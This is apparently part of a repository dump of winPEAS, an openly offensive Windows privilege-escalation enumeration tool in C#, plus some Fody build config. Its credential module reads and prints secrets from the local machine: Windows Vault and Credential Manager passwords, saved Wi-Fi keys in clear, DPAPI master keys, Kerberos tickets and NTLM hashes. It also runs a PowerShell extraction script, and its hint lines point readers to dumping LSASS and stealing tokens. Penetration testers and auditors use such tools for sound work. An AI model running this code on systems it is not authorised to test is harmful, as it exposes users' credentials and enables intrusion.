signs out.\");\n                        foreach (Dictionary<string, string> session in flaggedSessions)\n                        {\n                            session.TryGetValue(\"pDomainName\", out string flaggedDomain);\n                            session.TryGetValue(\"pUserName\", out string flaggedUser);\n                            session.TryGetValue(\"SessionID\", out string flaggedSessionId);\n                            session.TryGetValue(\"SourceIP\", out string flaggedIp);\n\n                            flaggedDomain = flaggedDomain ?? string.Empty;\n                            flaggedUser = flaggedUser ?? string.Empty;\n                            flaggedSessionId = flaggedSessionId ?? string.Empty;\n                            flaggedIp = flaggedIp ?? string.Empty;\n\n                            string userDisplay = string.Format(\"{0}\\\\{1}\", flaggedDomain, flaggedUser).Trim('\\\\');\n                            string source = string.IsNullOrEmpty(flaggedIp) ? \"local\" : flaggedIp;\n                            Beaprint.BadPrint(string.Format(\"        -> Session {0} ({1}) from {2}\", flaggedSessionId, userDisplay, source));\n                        }\n                        Beaprint.LinkPrint(\"https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/credentials-mgmt/rdp-sessions\", \"Dump LSASS / steal tokens (e.g., comsvcs.dll, LsaLogonSessions, custom SSPs) to reuse those privileges.\");\n                    }\n                }\n                else\n                {\n                    Beaprint.NotFoundPrint();\n                }\n            }\n            catch (Exception ex)\n            {\n                Beaprint.PrintException(ex.Message);\n            }\n        }\n\n        void PrintEverLoggedUsers()\n        {\n            try\n            {\n                Beaprint.MainPrint(\"Ever logged users\", \"T1033\");\n                List<string> everLogged = User.GetEverLoggedUsers();\n                Beaprint.ListPrint(everLogged, ColorsU());\n            }\n            catch (Exception ex)\n            {\n                Beaprint.PrintException(ex.Message);\n            }\n        }\n\n        void PrintHomeFolders()\n        {\n            try\n            {\n                Beaprint.MainPrint(\"Home folders found\", \"T1083\");\n                List<string> user_folders = User.GetUsersFolders();\n                foreach (string ufold in user_folders)\n                {\n                    string perms = string.Join(\", \", PermissionsHelper.GetPermissionsFolder(ufold, Checks.CurrentUserSiDs));\n                    if (perms.Length > 0)\n                    {\n                        Beaprint.BadPrint(\"    \" + ufold + \" : \" + perms);\n                    }\n                    else\n                    {\n                        Beaprint.GoodPrint(\"    \" + ufold);\n                    }\n                }\n            }\n            catch (Exception ex)\n            {\n                Beaprint.PrintException(ex.Message);\n            }\n        }\n\n        void PrintAutoLogin()\n        {\n            try\n            {\n                Beaprint.MainPrint(\"Looking for AutoLogon credentials\", \"T1552.002\");\n                bool ban = false;\n                Dictionary<string, string> autologon = UserInfoHelper.GetAutoLogon();\n                if (autologon.Count > 0)\n                {\n                    foreach (KeyValuePair<string, string> entry in autologon)\n                    {\n                        if (!string.IsNullOrEmpty(entry.Value))\n                        {\n                            if (!ban)\n                            {\n                                Beaprint.BadPrint(\"    Some AutoLogon credentials were found\");\n                                ban = true;\n                            }\n                            Beaprint.AnsiPrint(string.Format(\"    {0,-30}:  {1}\", entry.Key, entry.Value), ColorsU());\n                        }\n                    }\n\n                    if (!ban)\n                    {\n                        Beaprint.NotFoundPrint();\n                    }\n                }\n                else\n                {\n                    Beaprint.NotFoundPrint();\n                }\n            }\n            catch (Exception ex)\n            {\n                Beaprint.PrintException(ex.Message);\n            }\n        }\n\n        void PrintPasswordPolicies()\n        {\n            try\n            {\n                Beaprint.MainPrint(\"Password Policies\", \"T1201\");\n                Beaprint.LinkPrint(\"\", \"Check for a possible brute-force\");\n                List<Dictionary<string, string>> PPy = UserInfoHelper.GetPasswordPolicy();\n                Beaprint.DictPrint(PPy, ColorsU(), false);\n            }\n            catch (Exception ex)\n            {\n                Beaprint.PrintException(ex.Message);\n            }\n        }\n\n        private void PrintLogonSessions()\n        {\n            try\n            {\n                Beaprint.MainPrint(\"Print Logon Sessions\", \"T1033\");\n\n                var logonSessions = LogonSessions.GetLogonSessions();\n\n                foreach (var logonSession in logonSessions)\n                {\n                    Beaprint.NoColorPrint($\"    Method:                       {logonSession.Method}\\n\" +\n                                            $\"    Logon Server:                 {logonSession.LogonServer}\\n\" +\n                                            $\"    Logon Server Dns Domain:      {logonSession.LogonServerDnsDomain}\\n\" +\n                                            $\"    Logon Id:                     {logonSession.LogonId}\\n\" +\n                                            $\"    Logon Time:                   {logonSession.LogonTime}\\n\" +\n                                            $\"    Logon Type:                   {logonSession.LogonType}\\n\" +\n                                            $\"    Start Time:                   {logonSession.StartTime}\\n\" +\n                                            $\"    Domain:                       {logonSession.Domain}\\n\" +\n                                            $\"    Authentication Package:       {logonSession.AuthenticationPackage}\\n\" +\n                                            $\"    Start Time:                   {logonSession.StartTime}\\n\" +\n                                            $\"    User Name:                    {logonSession.UserName}\\n\" +\n                                            $\"    User Principal Name:          {logonSession.UserPrincipalName}\\n\" +\n                                            $\"    User SID:                     {logonSession.UserSID}\\n\"\n                                      );\n\n                    Beaprint.PrintLineSeparator();\n                }\n            }\n            catch (Exception)\n            {\n            }\n        }\n\n        private static void PrintCurrentUserIdleTime()\n        {\n            try\n            {\n                Beaprint.MainPrint(\"Current User Idle Time\", \"T1033\");\n\n                var lastInputInfo = new LastInputInfo();\n                lastInputInfo.Size = (uint)Marshal.SizeOf(lastInputInfo);\n\n                if (User32.GetLastInputInfo(ref lastInputInfo))\n                {\n                    var currentUser = WindowsIdentity.GetCurrent().Name;\n                    var idleTimeMiliSeconds = (uint)Environment.TickCount - lastInputInfo.Time;\n                    var timeSpan = TimeSpan.FromMilliseconds(idleTimeMiliSeconds);\n                    var idleTimeString = $\"{timeSpan.Hours:D2}h:{timeSpan.Minutes:D2}m:{timeSpan.Seconds:D2}s:{timeSpan.Milliseconds:D3}ms\";\n\n                    Beaprint.NoColorPrint($\"   Current User   :     {currentUser}\\n\" +\n                                                $\"   Idle Time      :     {idleTimeString}\");\n                }\n            }\n            catch (Exception ex)\n            {\n            }\n        }\n\n        private static void PrintLocalUsers()\n        {\n            try\n            {\n                Beaprint.MainPrint(\"Display information about local users\", \"T1087.001\");\n\n                var computerName = Environment.GetEnvironmentVariable(\"COMPUTERNAME\");\n\n                var localUsers = User.GetLocalUsers(computerName);\n\n                var colors = new Dictionary<string, string>\n                {\n                    { \"Administrator\", Beaprint.ansi_color_bad },\n                    { \"Guest\", Beaprint.YELLOW },\n                    { \"False\", Beaprint.ansi_color_good },\n                    { \"True\", Beaprint.ansi_color_bad },\n                };\n\n                foreach (var localUser in localUsers)\n                {\n                    var enabled = ((localUser.flags >> 1) & 1) == 0;\n                    var pwdLastSet = new DateTime(1970, 1, 1, 0, 0, 0, DateTimeKind.Utc);\n                    var lastLogon = new DateTime(1970, 1, 1, 0, 0, 0);\n\n                    if (localUser.passwordAge != 0)\n                    {\n                        pwdLastSet = DateTime.Now.AddSeconds(-localUser.passwordAge);\n                    }\n\n                    if (localUser.last_logon != 0)\n                    {\n                        lastLogon = lastLogon.AddSeconds(localUser.last_logon).ToLocalTime();\n                    }\n\n                    Beaprint.AnsiPrint($\"   Computer Name           :   {computerName}\\n\" +\n                                        $\"   User Name               :   {localUser.name}\\n\" +\n                                        $\"   User Id                 :   {localUser.user_id}\\n\" +\n                                        $\"   Is Enabled              :   {enabled}\\n\" +\n                                        $\"   User Type               :   {(UserPrivType)localUser.priv}\\n\" +\n                                        $\"   Comment                 :   {localUser.comment}\\n\" +\n                                        $\"   Last Logon              :   {lastLogon}\\n\" +\n                                        $\"   Logons Count            :   {localUser.num_logons}\\n\" +\n                                        $\"   Password Last Set       :   {pwdLastSet}\\n\",\n                                            colors);\n\n                    Beaprint.PrintLineSeparator();\n                }\n            }\n            catch (Exception ex)\n            {\n            }\n        }\n\n        private static void PrintCurrentTenantInfo()\n        {\n            try\n            {\n                Beaprint.MainPrint(\"Display Tenant information (DsRegCmd.exe /status)\", \"T1087.004\");\n\n                var info = Tenant.GetTenantInfo();\n\n                if (info != null)\n                {\n\n                    Beaprint.NoColorPrint($\"    Tenant Display Name        :        {info.TenantDisplayName}\\n\" +\n                                                $\"    Tenant Id                  :        {info.TenantId}\\n\" +\n                                                $\"    Idp Domain                 :        {info.IdpDomain}\\n\" +\n                                                $\"    Mdm Enrollment Url         :        {info.MdmEnrollmentUrl}\\n\" +\n                                                $\"    Mdm TermsOfUse Url         :        {info.MdmTermsOfUseUrl}\\n\" +\n                                                $\"    Mdm Compliance Url         :        {info.MdmComplianceUrl}\\n\" +\n                                                $\"    User Setting Sync Url      :        {info.UserSettingSyncUrl}\\n\" +\n                                                $\"    Device Id                  :        {info.DeviceId}\\n\" +\n                                                $\"    Join Type                  :        {info.JType.GetDescription()}\\n\" +\n                                                $\"    Join User Email            :        {info.JoinUserEmail}\\n\" +\n                                                $\"    User Key Id                :        {info.UserKeyId}\\n\" +\n                                                $\"    User Email                 :        {info.UserEmail}\\n\" +\n                                                $\"    User Keyname               :        {info.UserKeyname}\\n\");\n\n                    foreach (var cert in info.CertInfo)\n                    {\n                        Beaprint.NoColorPrint($\"    Thumbprint      :     {cert.Thumbprint}\\n\" +\n                                                    $\"    Subject         :     {cert.Subject}\\n\" +\n                                                    $\"    Issuer          :     {cert.Issuer}\\n\" +\n                                                    $\"    Expiration      :     {cert.GetExpirationDateString()}\");\n                    }\n                }\n                else\n                {\n                    Beaprint.NoColorPrint(\"   Tenant is NOT Azure AD Joined.\");\n                }\n            }\n            catch (Exception ex)\n            {\n            }\n        }\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/Checks/WindowsCreds.cs",
    "content": "﻿using System;\nusing System.Collections.Generic;\nusing System.Diagnostics;\nusing System.IO;\nusing System.Linq;\nusing System.Text;\nusing System.Xml;\nusing winPEAS.Helpers;\nusing winPEAS.Helpers.CredentialManager;\nusing winPEAS.Helpers.Registry;\nusing winPEAS.Info.WindowsCreds.AppCmd;\nusing winPEAS.KnownFileCreds;\nusing winPEAS.KnownFileCreds.Kerberos;\nusing winPEAS.KnownFileCreds.SecurityPackages;\nusing winPEAS.KnownFileCreds.Vault;\nusing winPEAS.Wifi.NativeWifiApi;\n\nnamespace winPEAS.Checks\n{\n    internal class WindowsCreds : ISystemCheck\n    {\n        public string[] MitreAttackIds { get; } = new[] { \"T1552.001\", \"T1552.002\", \"T1555.003\", \"T1555.004\", \"T1558\", \"T1547.005\", \"T1563.002\" };\n\n        public void PrintInfo(bool isDebug)\n        {\n            Beaprint.GreatPrint(\"Windows Credentials\", \"T1552.001,T1552.002,T1555.003,T1555.004,T1558,T1547.005,T1563.002\");\n\n            new List<Action>\n            {\n                PrintVaultCreds,\n                PrintCredentialManager,\n                PrintSavedRDPInfo,\n                PrintRDPSettings,\n                PrintRecentRunCommands,\n                PrintDPAPIMasterKeys,\n                PrintDpapiCredFiles,\n                PrintRCManFiles,\n                PrintKerberosTickets,\n                //PrintKerberosTGTTickets, #Not working\n                PrintWifi,\n                PrintAppCmd,\n                PrintSCClient,\n                PrintSCCM,\n                PrintSecurityPackagesCredentials,\n            }.ForEach(action => CheckRunner.Run(action, isDebug));\n        }\n\n        private static void PrintVaultCreds()\n        {\n            try\n            {\n                Beaprint.MainPrint(\"Checking Windows Vault\", \"T1555.004\");\n                Beaprint.LinkPrint(\"https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#credentials-manager--windows-vault\");\n                var vaultCreds = VaultCli.DumpVault();\n\n                var colorsC = new Dictionary<string, string>()\n                {\n                    { \"Identity.*|Credential.*|Resource.*\", Beaprint.ansi_color_bad },\n                };\n                Beaprint.DictPrint(vaultCreds, colorsC, true, true);\n            }\n            catch (Exception ex)\n            {\n                Beaprint.PrintException(ex.Message);\n            }\n        }\n\n        private static void PrintCredentialManager()\n        {\n            try\n            {\n                Beaprint.MainPrint(\"Checking Credential manager\", \"T1555.004\");\n                Beaprint.LinkPrint(\"https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#credentials-manager--windows-vault\");\n\n                var colorsC = new Dictionary<string, string>()\n                {\n                    { \"Warning:\", Beaprint.YELLOW },\n                };\n                Beaprint.AnsiPrint(\"    [!] Warning: if password contains non-printable characters, it will be printed as unicode base64 encoded string\\n\\n\", colorsC);\n\n                var keywords = new HashSet<string>\n                {\n                    nameof(Credential.Password),\n                    nameof(Credential.Username),\n                    nameof(Credential.Target),\n                    nameof(Credential.PersistenceType),\n                    nameof(Credential.LastWriteTime),\n                };\n\n                colorsC = new Dictionary<string, string>()\n                {\n                    { CredentialManager.UnicodeInfoText, Beaprint.LBLUE }\n                };\n\n                foreach (var keyword in keywords)\n                {\n                    colorsC.Add($\"{keyword}:\", Beaprint.ansi_color_bad);\n                }\n\n                var credentials = CredentialManager.GetCredentials();\n\n                foreach (var credential in credentials)\n                {\n                    Beaprint.AnsiPrint(credential, colorsC);\n                    Beaprint.PrintLineSeparator();\n                }\n            }\n            catch (Exception ex)\n            {\n                Beaprint.PrintException(ex.Message);\n            }\n        }\n\n        static void PrintSavedRDPInfo()\n        {\n            try\n            {\n                Beaprint.MainPrint(\"Saved RDP connections\", \"T1552.002\");\n\n                List<Dictionary<string, string>> rdps_info = RemoteDesktop.GetSavedRDPConnections();\n                if (rdps_info.Count > 0)\n                    Beaprint.NoColorPrint(string.Format(\"    {0,-20}{1,-55}{2}\", \"Host\", \"Username Hint\", \"User SID\"));\n                else\n                {\n                    Beaprint.NotFoundPrint();\n                }\n\n                foreach (Dictionary<string, string> rdp_info in rdps_info)\n                {\n                    Beaprint.NoColorPrint(string.Format(\"    {0,-20}{1,-55}{2}\", rdp_info[\"Host\"], rdp_info[\"Username Hint\"], rdp_info[\"SID\"]));\n                }\n            }\n            catch (Exception ex)\n            {\n                Beaprint.PrintException(ex.Message);\n            }\n        }\n\n        private static void PrintRecentRunCommands()\n        {\n            try\n            {\n                Beaprint.MainPrint(\"Recently run commands\", \"T1552.002\");\n                Dictionary<string, object> recentCommands = KnownFileCredsInfo.GetRecentRunCommands();\n                Beaprint.DictPrint(recentCommands, false);\n            }\n            catch (Exception ex)\n            {\n                Beaprint.PrintException(ex.Message);\n            }\n        }\n\n        private static void PrintDPAPIMasterKeys()\n        {\n            try\n            {\n                Beaprint.MainPrint(\"Checking for DPAPI Master Keys\", \"T1555.003\");\n                Beaprint.LinkPrint(\"https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#dpapi\");\n                var masterKeys = KnownFileCredsInfo.ListMasterKeys();\n\n                if (masterKeys.Count != 0)\n                {\n                    Beaprint.DictPrint(masterKeys, true);\n\n                    if (MyUtils.IsHighIntegrity())\n                    {\n                        Beaprint.InfoPrint(\"Follow the provided link for further instructions in how to decrypt the masterkey.\");\n                    }\n                }\n                else\n                {\n                    Beaprint.NotFoundPrint();\n                }\n            }\n            catch (Exception ex)\n            {\n                Beaprint.PrintException(ex.Message);\n            }\n        }\n\n        private static void PrintDpapiCredFiles()\n        {\n            try\n            {\n                Beaprint.MainPrint(\"Checking for DPAPI Credential Files\", \"T1555.003\");\n                Beaprint.LinkPrint(\"https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#dpapi\");\n                var credFiles = KnownFileCredsInfo.GetCredFiles();\n                Beaprint.DictPrint(credFiles, false);\n\n                if (credFiles.Count != 0)\n                {\n                    Beaprint.InfoPrint(\"Follow the provided link for further instructions in how to decrypt the creds file\");\n                }\n            }\n            catch (Exception ex)\n            {\n                Beaprint.PrintException(ex.Message);\n            }\n        }\n\n        private static void PrintRCManFiles()\n        {\n            try\n            {\n                Beaprint.MainPrint(\"Checking for RDCMan Settings Files\", \"T1552.001\");\n                Beaprint.LinkPrint(\"https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#remote-desktop-credential-manager\",\n                    \"Dump credentials from Remote Desktop Connection Manager\");\n                var rdcFiles = RemoteDesktop.GetRDCManFiles();\n                Beaprint.DictPrint(rdcFiles, false);\n\n                if (rdcFiles.Count != 0)\n                {\n                    Beaprint.InfoPrint(\"Follow the provided link for further instructions in how to decrypt the .rdg file\");\n                }\n            }\n            catch (Exception ex)\n            {\n                Beaprint.PrintException(ex.Message);\n            }\n        }\n\n        private static void PrintKerberosTickets()\n        {\n            try\n            {\n                Beaprint.MainPrint(\"Looking for Kerberos tickets\", \"T1558\");\n                Beaprint.LinkPrint(\"https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-kerberos-88/index.html\");\n                var kerberosTickets = Kerberos.ListKerberosTickets();\n\n                Beaprint.DictPrint(kerberosTickets, false);\n            }\n            catch (Exception ex)\n            {\n                Beaprint.PrintException(ex.Message);\n            }\n        }\n\n        private static void PrintKerberosTGTTickets()\n        {\n            try\n            {\n                Beaprint.MainPrint(\"Looking for Kerberos TGT tickets\", \"T1558\");\n                var kerberosTgts = Kerberos.GetKerberosTGTData();\n                Beaprint.DictPrint(kerberosTgts, false);\n            }\n            catch (Exception ex)\n            {\n                Beaprint.PrintException(ex.Message);\n            }\n        }\n\n        private static void PrintWifi()\n        {\n            try\n            {\n                Beaprint.MainPrint(\"Looking for saved Wifi credentials\", \"T1552.001\");\n\n                WlanClient wlanClient = new WlanClient();\n\n                foreach (var @interface in new WlanClient().Interfaces)\n                {\n                    foreach (var profile in @interface.GetProfiles())\n                    {\n                        var xml = @interface.GetProfileXml(profile.profileName);\n\n                        XmlDocument xDoc = new XmlDocument();\n                        xDoc.LoadXml(xml);\n\n                        var keyMaterial = xDoc.GetElementsByTagName(\"keyMaterial\");\n\n                        if (keyMaterial.Count > 0)\n                        {\n                            string password = keyMaterial[0].InnerText;\n\n                            Beaprint.BadPrint($\"   SSID         :       '{profile.profileName}\\n'\" +\n                                              $\"   password     :       '{password}'  \\n\\n\");\n                        }\n                    }\n                }\n            }\n            catch (Exception ex)\n            {\n                Beaprint.PrintException(ex.Message);\n\n                // revert to old way\n                Beaprint.NoColorPrint(\"Enumerating WLAN using wlanapi.dll failed, trying to enumerate using 'netsh'\");\n\n                Dictionary<string, string> networkConnections = Wifi.Wifi.Retrieve();\n                Dictionary<string, string> ansi_colors_regexp = new Dictionary<string, string>();\n\n                if (networkConnections.Count > 0)\n                {\n                    //Make sure the passwords are all flagged as ansi_color_bad.\n                    foreach (var connection in networkConnections)\n                    {\n                        ansi_colors_regexp.Add(connection.Value, Beaprint.ansi_color_bad);\n                    }\n                    Beaprint.DictPrint(networkConnections, ansi_colors_regexp, false);\n                }\n                else\n                {\n                    Beaprint.NoColorPrint(\"No saved Wifi credentials found\");\n                }\n            }\n        }\n\n        private static void PrintAppCmd()\n        {\n            try\n            {\n                Beaprint.MainPrint(\"Looking AppCmd.exe\", \"T1552.001\");\n                Beaprint.LinkPrint(\"https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#appcmdexe\");\n\n                var appCmdPath = Environment.ExpandEnvironmentVariables(@\"%systemroot%\\system32\\inetsrv\\appcmd.exe\");\n\n                if (File.Exists(appCmdPath))\n                {\n                    Beaprint.BadPrint($\"    AppCmd.exe was found in {appCmdPath}\");\n                }\n                else\n                {\n                    Beaprint.NotFoundPrint();\n                }\n\n                if (!MyUtils.IsHighIntegrity())\n                {\n                    Beaprint.NoColorPrint(\"      You must be an administrator to run this check\");\n                    return;\n                }\n\n                var script = AppCmd.GetExtractAppCmdCredsPowerShellScript();\n\n                string args = @$\" {script}\";\n\n                var processStartInfo = new ProcessStartInfo\n                {\n                    UseShellExecute = false,\n                    CreateNoWindow = true,\n                    FileName = \"powershell.exe\",\n                    Arguments = args,\n                    RedirectStandardOutput = true,\n                    RedirectStandardError = true,\n                    StandardOutputEncoding = Encoding.UTF8\n                };\n\n                using (var process = Process.Start(processStartInfo))\n                {\n                    if (process != null)\n                    {\n                        while (!process.StandardOutput.EndOfStream)\n                        {\n                            Beaprint.BadPrint($\"    {process.StandardOutput.ReadLine()}\");\n                        }\n\n                        while (!process.StandardError.EndOfStream)\n                        {\n                            Console.WriteLine(process.StandardError.ReadLine());\n                        }\n                    }\n                }\n            }\n            catch (Exception ex)\n            {\n                Beaprint.PrintException(ex.Message);\n            }\n        }\n\n        private static void PrintSCClient()\n        {\n            try\n            {\n                Beaprint.MainPrint(\"Looking SSClient.exe\", \"T1552.001\");\n                Beaprint.LinkPrint(\"https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#scclient--sccm\");\n\n                if (File.Exists(Environment.ExpandEnvironmentVariables(@\"%systemroot%\\Windows\\CCM\\SCClient.exe\")))\n                {\n                    Beaprint.BadPrint(\"    SCClient.exe was found in \" + Environment.ExpandEnvironmentVariables(@\"%systemroot%\\Windows\\CCM\\SCClient.exe DLL Side loading?\"));\n                }\n                else\n                {\n                    Beaprint.NotFoundPrint();\n                }\n            }\n            catch (Exception ex)\n            {\n                Beaprint.PrintException(ex.Message);\n            }\n        }\n\n        private void PrintSCCM()\n        {\n            try\n            {\n                Beaprint.MainPrint(\"Enumerating SSCM - System Center Configuration Manager settings\", \"T1552.001\");\n\n                var server = RegistryHelper.GetRegValue(\"HKLM\", @\"SOFTWARE\\Microsoft\\CCMSetup\", \"LastValidMP\");\n                var siteCode = RegistryHelper.GetRegValue(\"HKLM\", @\"SOFTWARE\\Microsoft\\SMS\\Mobile Client\", \"AssignedSiteCode\");\n                var productVersion = RegistryHelper.GetRegValue(\"HKLM\", @\"SOFTWARE\\Microsoft\\SMS\\Mobile Client\", \"ProductVersion\");\n                var lastSuccessfulInstallParams = RegistryHelper.GetRegValue(\"HKLM\", @\"SOFTWARE\\Microsoft\\SMS\\Mobile Client\", \"LastSuccessfulInstallParams\");\n\n                if (!string.IsNullOrEmpty(server) || !string.IsNullOrEmpty(siteCode) || !string.IsNullOrEmpty(productVersion) || !string.IsNullOrEmpty(lastSuccessfulInstallParams))\n                {\n                    Beaprint.NoColorPrint($\"     Server:                            {server}\\n\" +\n                                                 $\"     Site code:                         {siteCode}\\n\" +\n                                                 $\"     Product version:                   {productVersion}\\n\" +\n                                                 $\"     Last Successful Install Params:    {lastSuccessfulInstallParams}\\n\");\n                }\n            }\n            catch (Exception ex)\n            {\n                Beaprint.PrintException(ex.Message);\n            }\n        }\n\n        private static void PrintSecurityPackagesCredentials()\n        {\n            Beaprint.MainPrint(\"Enumerating Security Packages Credentials\", \"T1547.005\");\n\n            try\n            {\n                var credentials = (SecurityPackages.GetNtlmCredentials() ?? Enumerable.Empty<NtlmHashInfo>()).ToList();\n\n                if (credentials.Any())\n                {\n                    foreach (var credential in credentials)\n                    {\n                        if (credential != null)\n                        {\n                            Beaprint.BadPrint($\"  Version: {credential.Version}\\n\" +\n                                              $\"  Hash:    {credential.Hash}\\n\");\n                            Beaprint.PrintLineSeparator();\n                        }\n                    }\n                }\n                else\n                {\n                    Beaprint.GoodPrint(\"  The NTLM security package does not contain any credentials.\");\n                }\n            }\n            catch (Exception ex)\n            {\n                Beaprint.PrintException(ex.Message);\n            }\n        }\n\n        private static void PrintRDPSettings()\n        {\n            try\n            {\n                Beaprint.MainPrint(\"Remote Desktop Server/Client Settings\", \"T1563.002\");\n\n                var info = Info.WindowsCreds.RemoteDesktop.GetRDPSettingsInfo();\n\n                var server = info.ServerSettings;\n                Beaprint.ColorPrint(\"  RDP Server Settings\", Beaprint.LBLUE);\n                Beaprint.NoColorPrint($\"    Network Level Authentication            :       {server.NetworkLevelAuthentication}\\n\" +\n                                             $\"    Block Clipboard Redirection             :       {server.BlockClipboardRedirection}\\n\" +\n                                             $\"    Block COM Port Redirection              :       {server.BlockComPortRedirection}\\n\" +\n                                             $\"    Block Drive Redirection                 :       {server.BlockDriveRedirection}\\n\" +\n                                             $\"    Block LPT Port Redirection              :       {server.BlockLptPortRedirection}\\n\" +\n                                             $\"    Block PnP Device Redirection            :       {server.BlockPnPDeviceRedirection}\\n\" +\n                                             $\"    Block Printer Redirection               :       {server.BlockPrinterRedirection}\\n\" +\n                                             $\"    Allow Smart Card Redirection            :       {server.AllowSmartCardRedirection}\");\n\n                Beaprint.ColorPrint(\"\\n  RDP Client Settings\", Beaprint.LBLUE);\n                Beaprint.NoColorPrint($\"    Disable Password Saving                 :       {info.ClientSettings.DisablePasswordSaving}\\n\" +\n                                             $\"    Restricted Remote Administration        :       {info.ClientSettings.RestrictedRemoteAdministration}\");\n\n                var type = info.ClientSettings.RestrictedRemoteAdministrationType;\n                if (type != null)\n                {\n                    var str = GetDescriptionByType(type);\n\n                    Beaprint.NoColorPrint($\"  Restricted Remote Administration Type: {str}\");\n                }\n\n                var level = info.ClientSettings.ServerAuthLevel;\n                if (level != null)\n                {\n                    var str = GetDescriptionByType(level);\n\n                    Beaprint.NoColorPrint($\"  Server Authentication Level: {level} - {str}\");\n                }\n            }\n            catch (Exception ex)\n            {\n            }\n        }\n\n        private static string GetDescriptionByType(uint? type)\n        {\n            var types = new Dictionary<uint, string>\n                {\n                    { 1, \"Require Restricted Admin Mode\" },\n                    { 2, \"Require Remote Credential Guard\" },\n                    { 3, \"Require Restricted Admin or Remote Credential Guard\" },\n                };\n\n            var str = $\"{type} - Unknown\";\n\n            if (types.ContainsKey(type.Value))\n            {\n                str = types[type.Value];\n            }\n\n            return str;\n        }\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/FodyWeavers.xml",
    "content": "﻿<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<Weavers xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:noNamespaceSchemaLocation=\"FodyWeavers.xsd\">\n\t<Costura IncludeDebugSymbols='false'>\n\t\t<Unmanaged32Assemblies>\n\t\t\tSQLite.Interop\n\t\t</Unmanaged32Assemblies>\n\t\t<Unmanaged64Assemblies>\n\t\t\tSQLite.Interop\n\t\t</Unmanaged64Assemblies>\n\t</Costura>\n</Weavers>"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/FodyWeavers.xsd",
    "content": "﻿<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<xs:schema xmlns:xs=\"http://www.w3.org/2001/XMLSchema\">\n  <!-- This file was generated by Fody. Manual changes to this file will be lost when your project is rebuilt. -->\n  <xs:element name=\"Weavers\">\n    <xs:complexType>\n      <xs:all>\n        <xs:element name=\"Costura\" minOccurs=\"0\" maxOccurs=\"1\">\n          <xs:complexType>\n            <xs:all>\n              <xs:element minOccurs=\"0\" maxOccurs=\"1\" name=\"ExcludeAssemblies\" type=\"xs:string\">\n                <xs:annotation>\n                  <xs:documentation>A list of assembly names to exclude from the default action of \"embed all Copy Local references\", delimited with line breaks</xs:documentation>\n                </xs:annotation>\n              </xs:element>\n              <xs:element minOccurs=\"0\" maxOccurs=\"1\" name=\"IncludeAssemblies\" type=\"xs:string\">\n                <xs:annotation>\n                  <xs:documentation>A list of assembly names to include from the default action of \"embed all Copy Local references\", delimited with line breaks.</xs:documentation>\n                </xs:annotation>\n              </xs:element>\n              <xs:element minOccurs=\"0\" maxOccurs=\"1\" name=\"ExcludeRuntimeAssemblies\" type=\"xs:string\">\n                <xs:annotation>\n                  <xs:documentation>A list of runtime assembly names to exclude from the default action of \"embed all Copy Local references\", delimited with line breaks</xs:documentation>\n                </xs:annotation>\n              </xs:element>\n              <xs:element minOccurs=\"0\" maxOccurs=\"1\" name=\"IncludeRuntimeAssemblies\" type=\"xs:string\">\n                <xs:annotation>\n                  <xs:documentation>A list of runtime assembly names to include from the default action of \"embed all Copy Local references\", delimited with line breaks.</xs:documentation>\n                </xs:annotation>\n              </xs:element>\n              <xs:element minOccurs=\"0\" maxOccurs=\"1\" name=\"Unmanaged32Assemblies\" type=\"xs:string\">\n                <xs:annotation>\n                  <xs:documentation>A list of unmanaged 32 bit assembly names to include, delimited with line breaks.</xs:documentation>\n                </xs:annotation>\n              </xs:element>\n              <xs:element minOccurs=\"0\" maxOccurs=\"1\" name=\"Unmanaged64Assemblies\" type=\"xs:string\">\n                <xs:annotation>\n                  <xs:documentation>A list of unmanaged 64 bit assembly names to include, delimited with line breaks.</xs:documentation>\n                </xs:annotation>\n              </xs:element>\n              <xs:element minOccurs=\"0\" maxOccurs=\"1\" name=\"PreloadOrder\" type=\"xs:string\">\n                <xs:annotation>\n                  <xs:documentation>The order of preloaded assemblies, delimited with line breaks.</xs:documentation>\n                </xs:annotation>\n              </xs:element>\n            </xs:all>\n            <xs:attribute name=\"CreateTemporaryAssemblies\" type=\"xs:boolean\">\n              <xs:annotation>\n                <xs:documentation>This will copy embedded files to disk before loading them into memory. This is helpful for some scenarios that expected an assembly to be loaded from a physical file.</xs:documentation>\n              </xs:annotation>\n            </xs:attribute>\n            <xs:attribute name=\"IncludeDebugSymbols\" type=\"xs:boolean\">\n              <xs:annotation>\n                <xs:documentation>Controls if .pdbs for reference assemblies are also embedded.</xs:documentation>\n              </xs:annotation>\n            </xs:attribute>\n            <xs:attribute name=\"IncludeRuntimeReferences\" type=\"xs:boolean\">\n              <xs:annotation>\n                <xs:documentation>Controls if runtime assemblies are also embedded.</xs:documentation>\n              </xs:annotation>\n            </xs:attribute>\n            <xs:attribute name=\"UseRuntimeReferencePaths\" type=\"xs:boolean\">\n              <xs:annotation>\n                <xs:documentation>Controls whether the runtime assemblies are embedded with their full path or only with their assembly name.</xs:documentation>\n              </xs:annotation>\n            </xs:attribute>\n            <xs:attribute name=\"DisableCompression\" type=\"xs:boolean\">\n              <xs:annotation>\n                <xs:documentation>Embedded assemblies are compressed by default, and uncompressed when they are loaded. You can turn compression off with this option.</xs:documentation>\n              </xs:annotation>\n            </xs:attribute>\n            <xs:attribute name=\"DisableCleanup\" type=\"xs:boolean\">\n              <xs:annotation>\n                <xs:documentation>As part of Costura, embedded assemblies are no longer included as part of the build. This cleanup can be turned off.</xs:documentation>\n              </xs:annotation>\n            </xs:attribute>\n            <xs:attribute name=\"LoadAtModuleInit\" type=\"xs:boolean\">\n              <xs:annotation>\n                <xs:documentation>Costura by default will load as part of the module initialization. This flag disables that behavior. Make sure you call CosturaUtility.Initialize() 